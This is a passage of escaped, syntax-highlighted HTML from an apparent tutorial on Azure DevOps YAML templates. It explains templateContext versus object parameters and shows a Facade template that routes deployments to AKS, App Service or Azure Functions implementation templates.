style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eapprovalGroup\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esecurity-team\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edeploymentSlot\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eproduction\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Building for prod\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Build\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTo avoid duplicate key schema violations when iterating, you must map the job properties explicitly rather than relying on the \u003ccode\u003e- ${{ job }}\u003c/code\u003e implicit merge syntax if you intend to append steps or inject properties like \u003ccode\u003eenvironment\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# deploy-stages.yml — iterates the deployment list and reads templateContext per job\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: {}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployments\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeploymentList\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003e${{ each deploy in parameters.deployments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.deployment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ coalesce(deploy.displayName, deploy.deployment) }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.pool }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75715e\"\u003e# Set environment name from per-job templateContext at compile time\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.targetEnvironment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eresourceName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyapp-${{ deploy.templateContext.targetEnvironment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.strategy.runOnce.deploy.steps }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#75715e\"\u003e# Inject templateContext value as a runtime environment variable so scripts can read it\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                      echo \u0026#34;Target: $(TARGET_ENV) | Slot: $(DEPLOYMENT_SLOT)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                      ./scripts/deploy.sh --slot \u0026#34;$(DEPLOYMENT_SLOT)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy to ${{ deploy.templateContext.targetEnvironment }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003eTARGET_ENV\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.targetEnvironment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003eDEPLOYMENT_SLOT\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.deploymentSlot }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e is only accessible in compile-time \u003ccode\u003e${{ }}\u003c/code\u003e expressions within the template that iterates the list. It is not available inside the job\u0026rsquo;s \u003ccode\u003esteps:\u003c/code\u003e at runtime. If a step needs the value, extract it at the template level and pass it as an environment variable (as shown above).\u003c/p\u003e\n\u003ch3 id=\"templatecontext-vs-object-parameter--when-to-use-which\"\u003e\u003ccode\u003etemplateContext\u003c/code\u003e vs. \u003ccode\u003eobject\u003c/code\u003e Parameter — When to Use Which\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e\u003c/th\u003e\n          \u003cth\u003e\u003ccode\u003etemplateContext\u003c/code\u003e\u003c/th\u003e\n          \u003cth\u003e\u003ccode\u003eobject\u003c/code\u003e parameter\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eScope\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003ePer-item in a jobList, deploymentList, or stageList\u003c/td\u003e\n          \u003ctd\u003eEntire template invocation\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eDeclaration location\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eInside the job or stage definition\u003c/td\u003e\n          \u003ctd\u003eIn the calling pipeline\u0026rsquo;s \u003ccode\u003eparameters:\u003c/code\u003e block\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eAccess syntax\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e${{ job.templateContext.prop }}\u003c/code\u003e inside \u003ccode\u003e${{ each }}\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e${{ parameters.config.prop }}\u003c/code\u003e anywhere\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eBest use case\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003ePer-job overrides: environment name, approval group, deployment slot\u003c/td\u003e\n          \u003ctd\u003eShared settings: registry, region, feature flags\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eAppears in Expanded YAML\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eNo — stripped at compile time\u003c/td\u003e\n          \u003ctd\u003eNo (the object travels through, individual props are inlined)\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eSchema validation\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eNone\u003c/td\u003e\n          \u003ctd\u003eNone\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eUse \u003ccode\u003etemplateContext\u003c/code\u003e when each item in a list needs different metadata. Use an \u003ccode\u003eobject\u003c/code\u003e parameter when all items share the same configuration. The two work together: a \u003ccode\u003econfig\u003c/code\u003e object carries shared settings while \u003ccode\u003etemplateContext\u003c/code\u003e carries per-job overrides. A template can use both simultaneously.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"pattern-3--the-facade-template\"\u003ePattern 3 — The Facade Template\u003c/h2\u003e\n\u003ch3 id=\"the-facade-as-a-stable-interface\"\u003eThe Facade as a Stable Interface\u003c/h3\u003e\n\u003cp\u003eA Facade template is a thin wrapper that presents a narrow, stable interface to callers while internally routing to whichever implementation template is appropriate. Callers depend only on the Facade\u0026rsquo;s parameter contract. The internal template tree can be reorganized — files renamed, layers added or removed, implementation templates split — without touching any pipeline that uses the Facade.\u003c/p\u003e\n\u003cp\u003eThe Facade is the only file that knows the internal structure. Everything behind it is an implementation detail.\u003c/p\u003e\n\u003cp\u003eA platform team managing AKS, App Service, and Azure Functions deployments exposes a single \u003ccode\u003edeploy-facade.yml\u003c/code\u003e to all consuming teams. The Facade accepts 3 parameters. Each implementation template accepts 10-12. No consuming pipeline ever sees those 10-12.\u003c/p\u003e\n\u003ch3 id=\"implementing-the-facade\"\u003eImplementing the Facade\u003c/h3\u003e\n\u003cp\u003eThe Facade uses \u003ccode\u003e${{ if }}\u003c/code\u003e / \u003ccode\u003e${{ elseif }}\u003c/code\u003e blocks to route to implementation templates at compile time. Declaring the \u003ccode\u003edeploymentType\u003c/code\u003e parameter with a \u003ccode\u003evalues:\u003c/code\u003e constraint forces Azure DevOps to reject invalid values at parse time, before any routing occurs:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# deploy-facade.yml — the only file consuming pipelines import directly\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeploymentType\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalues\u003c/span\u003e:          \u003cspan style=\"color:#75715e\"\u003e# Azure DevOps rejects any value not in this list at parse time\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eaks\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eappservice\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003efunctions\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eserviceConnection\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eobject\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry.azurecr.io\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elatest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ereplicaCount\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eappName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003efunctionAppName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeploymentRegion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeastus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Validate required properties before routing to any implementation\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if not(parameters.serviceConnection) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;##vso[task.logissue type=error]serviceConnection is required.\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        exit 1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName: \u0026#39;ERROR\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eMissing required serviceConnection\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(parameters.deploymentType, \u0026#39;aks\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eimpl/deploy-aks.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ elseif eq(parameters.deploymentType, \u0026#39;appservice\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eimpl/deploy-appservice.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eappName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ coalesce(parameters.config.appName, \u0026#39;default-app\u0026#39;) }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.imageTag }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edeploymentRegion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.deploymentRegion }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ else }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eimpl/deploy-functions.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003efunctionAppName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ coalesce(parameters.config.functionAppName, \u0026#39;default-func\u0026#39;) }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edeploymentRegion\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.config.deploymentRegion }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eA consuming pipeline calls the Facade with 3 parameters and has no knowledge of the internal file structure:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# team-a-pipeline.yml — consumes the Facade with 3 parameters\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eshared/deploy-facade.yml@templates\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edeploymentType\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eaks\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-production\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003econfig\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 